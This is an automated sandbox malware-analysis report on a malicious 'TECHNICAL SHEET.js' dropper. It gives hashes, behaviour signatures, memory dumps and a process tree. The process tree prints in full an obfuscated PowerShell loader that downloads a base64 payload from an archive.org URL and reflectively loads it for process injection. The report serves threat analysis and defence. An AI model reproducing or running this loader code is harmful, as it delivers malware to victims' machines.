Overview

overview

10

Static

static

1

TECHNICAL SHEET.js

windows7-x64

10

TECHNICAL SHEET.js

windows10-2004-x64

10

Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-09-2024 06:51

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    TECHNICAL SHEET.js

  • Size

    601KB

  • MD5

    1209aa3c1e362933feb8865c34f2a4ee

  • SHA1

    91d4969e93f600480f20399fc2343448dadd8526

  • SHA256

    5887f2482c2d989943b76bb2c63d4809e019e6a993e60b66d776132503658f7d

  • SHA512

    4ee970984f0550f75b6f56102181a439f8428735c3ea3b0716d3fdbb1c60fa4e5a8350aa45f544e1a8cf368597819949df67c56657e5594561b86a941236b695

  • SSDEEP

    12288:HZhY3S3w+Z45JZ+3fUqHwiPAlpIyvvQ54UBPOX8a1Gepxfa+rjuCi5oKjXdbdOv1:fYi3PGLx3USi5UwwB

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt
exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\TECHNICAL SHEET.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAgACgAIAAkAEUATgB2ADoAQwBvAG0AcwBQAEUAQwBbADQALAAyADYALAAyADUAXQAtAGoAbwBpAE4AJwAnACkAIAAoACgAKAAnAEsAZAA4AHUAcgAnACsAJwBsACAAPQAgAGYAZwA4AGgAdAB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBpAGEAOQAwADQANgAwADEALgB1AHMALgBhACcAKwAnAHIAYwBoACcAKwAnAGkAdgBlAC4AbwByAGcALwAnACsAJwA2AC8AaQB0AGUAbQAnACsAJwBzAC8AZABlAHQAYQBoACcAKwAnAC0AbgBvAHQAZQAnACsAJwAtAGoALwAnACsAJwBEAGUAdABhAGgAJwArACcATgBvAHQAJwArACcAZQAnACsAJwBKAC4AdAB4AHQAZgAnACsAJwBnADgAOwBLAGQAOABiAGEAJwArACcAcwBlADYAJwArACcANABDAG8AbgB0AGUAbgB0ACAAPQAgACgATgBlAHcALQBPAGIAagBlACcAKwAnAGMAdAAnACsAJwAgACcAKwAnAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAJwArACcAYgBDACcAKwAnAGwAaQAnACsAJwBlAG4AdAApAC4ARABvAHcAbgBsACcAKwAnAG8AYQBkAFMAdAByAGkAbgBnACgAJwArACcASwAnACsAJwBkADgAdQByAGwAJwArACcAKQA7AEsAJwArACcAZAA4ACcAKwAnAGIAJwArACcAaQAnACsAJwBuACcAKwAnAGEAJwArACcAcgB5ACcAKwAnAEMAbwBuAHQAZQBuAHQAIAA9ACcAKwAnACAAJwArACcAWwBTAHkAJwArACcAcwB0AGUAbQAnACsAJwAuAEMAJwArACcAbwAnACsAJwBuAHYAZQByAHQAXQA6ACcAKwAnADoAJwArACcARgByAG8AbQBCACcAKwAnAGEAcwBlADYANABTAHQAcgBpAG4AJwArACcAZwAoAEsAZAA4AGIAYQBzACcAKwAnAGUAJwArACcANgA0AEMAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQAKQAnACsAJwA7AEsAZAA4AGEAcwBzAGUAbQBiAGwAeQAnACsAJwAgAD0AIABbAFIAJwArACcAZQBmAGwAJwArACcAZQAnACsAJwBjAHQAJwArACcAaQBvAG4AJwArACcALgAnACsAJwBBAHMAcwBlAG0AYgBsAHkAXQA6ACcAKwAnADoAJwArACcATABvACcAKwAnAGEAZAAnACsAJwAoAEsAZAA4AGIAaQBuAGEAcgB5AEMAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQAKQA7AEsAZAA4ACcAKwAnAHQAeQBwAGUAJwArACcAIAA9ACcAKwAnACAASwBkADgAYQBzAHMAJwArACcAZQBtAGIAJwArACcAbAB5AC4ARwBlACcAKwAnAHQAVAB5AHAAZQAoAGYAZwA4AFIAdQBuAFAAJwArACcARQAnACsAJwAuAEgAbwAnACsAJwBtAGUAJwArACcAZgBnADgAKQA7ACcAKwAnAEsAZAA4AG0AZQB0AGgAJwArACcAbwBkACAAPQAgAEsAZAA4AHQAeQAnACsAJwBwAGUAJwArACcALgBHAGUAdABNAGUAdABoACcAKwAnAG8AJwArACcAZAAoACcAKwAnAGYAJwArACcAZwAnACsAJwA4AFYAQQBJAGYAZwA4ACkAOwBLACcAKwAnAGQAOABtAGUAdABoAG8AZAAuAEkAbgAnACsAJwB2AG8AawAnACsAJwBlACgAJwArACcASwBkADgAbgB1AGwAbAAsACAAJwArACcAWwBvACcAKwAnAGIAagBlACcAKwAnAGMAdABbAF0AXQBAACgAZgBnADgAdAB4ACcAKwAnAHQAJwArACcALgBhACcAKwAnAG0AaQBhAGsALwB2AGUAZAAuADIAcgAuADMAOQBiADMANAA1ADMAMAAyAGEAMAA3ADUAYgAxAGIAYwAwAGQANAAnACsAJwA1AGIAJwArACcANgAzADIAJwArACcAZQBiADkAZQBlACcAKwAnADYAMgAnACsAJwAtAGIAJwArACcAdQBwACcAKwAnAC8ALwA6AHMAcAB0AHQAaABmACcAKwAnAGcAOAAnACsAJwAgACwAIAAnACsAJwBmAGcAOABkACcAKwAnAGUAcwAnACsAJwBhAHQAaQB2AGEAJwArACcAZAAnACsAJwBvAGYAZwA4ACcAKwAnACAALAAgACcAKwAnAGYAZwA4AGQAZQAnACsAJwBzACcAKwAnAGEAdAAnACsAJwBpAHYAYQBkAG8AJwArACcAZgBnADgAIAAsACAAZgBnADgAJwArACcAZAAnACsAJwBlAHMAYQB0AGkAdgBhAGQAbwBmAGcAJwArACcAOAAsAGYAZwAnACsAJwA4ACcAKwAnAEEAZABkAEkAJwArACcAbgAnACsAJwBQACcAKwAnAHIAJwArACcAbwBjAGUAcwBzACcAKwAnADMAMgBmAGcAOAAsAGYAZwA4ACcAKwAnAGQAZQBzAGEAdAAnACsAJwBpAHYAYQAnACsAJwBkAG8AZgBnADgAKQApADsAJwApAC0AcgBFAHAATABhAEMAZQAgACAAKABbAEMAaABBAFIAXQAxADAAMgArAFsAQwBoAEEAUgBdADEAMAAzACsAWwBDAGgAQQBSAF0ANQA2ACkALABbAEMAaABBAFIAXQAzADkALQBjAHIAZQBQAGwAQQBDAEUAIAAgACcASwBkADgAJwAsAFsAQwBoAEEAUgBdADMANgApACAAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENv:ComsPEC[4,26,25]-joiN'') ((('Kd8ur'+'l = fg8htt'+'ps:/'+'/ia904601.us.a'+'rch'+'ive.org/'+'6/item'+'s/detah'+'-note'+'-j/'+'Detah'+'Not'+'e'+'J.txtf'+'g8;Kd8ba'+'se6'+'4Content = (New-Obje'+'ct'+' '+'System.Net.We'+'bC'+'li'+'ent).Downl'+'oadString('+'K'+'d8url'+');K'+'d8'+'b'+'i'+'n'+'a'+'ry'+'Content ='+' '+'[Sy'+'stem'+'.C'+'o'+'nvert]:'+':'+'FromB'+'ase64Strin'+'g(Kd8bas'+'e'+'64Co'+'nten'+'t)'+';Kd8assembly'+' = [R'+'efl'+'e'+'ct'+'ion'+'.'+'Assembly]:'+':'+'Lo'+'ad'+'(Kd8binaryCon'+'te'+'nt);Kd8'+'type'+' ='+' Kd8ass'+'emb'+'ly.Ge'+'tType(fg8RunP'+'E'+'.Ho'+'me'+'fg8);'+'Kd8meth'+'od = Kd8ty'+'pe'+'.GetMeth'+'o'+'d('+'f'+'g'+'8VAIfg8);K'+'d8method.In'+'vok'+'e('+'Kd8null, '+'[o'+'bje'+'ct[]]@(fg8tx'+'t'+'.a'+'miak/ved.2r.39b345302a075b1bc0d4'+'5b'+'632'+'eb9ee'+'62'+'-b'+'up'+'//:sptthf'+'g8'+' , '+'fg8d'+'es'+'ativa'+'d'+'ofg8'+' , '+'fg8de'+'s'+'at'+'ivado'+'fg8 , fg8'+'d'+'esativadofg'+'8,fg'+'8'+'AddI'+'n'+'P'+'r'+'ocess'+'32fg8,fg8'+'desat'+'iva'+'dofg8));')-rEpLaCe ([ChAR]102+[ChAR]103+[ChAR]56),[ChAR]39-crePlACE 'Kd8',[ChAR]36) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2752

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    fbc19007021521fa1fca40f822972c70

    SHA1

    cae643e14762e28915dccbb427311e3d7ab499bf

    SHA256

    614fa72fd8874189b3968a1afc4adcc0dd955f2aa6774384ccfde05fbf57f27b

    SHA512

    74a6bec8f83f2d320425498499edc837f3e607d871ce1ca5e212c1b22e2acc513c9d1520ca72a7926b4558b93dd2481083d31d839a78832be386682f91e29ce4

    Download Submit

  • memory/2964-4-0x000007FEF553E000-0x000007FEF553F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2964-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2964-6-0x0000000001F10000-0x0000000001F18000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2964-12-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2964-13-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2964-14-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

    Filesize

    9.6MB

    Download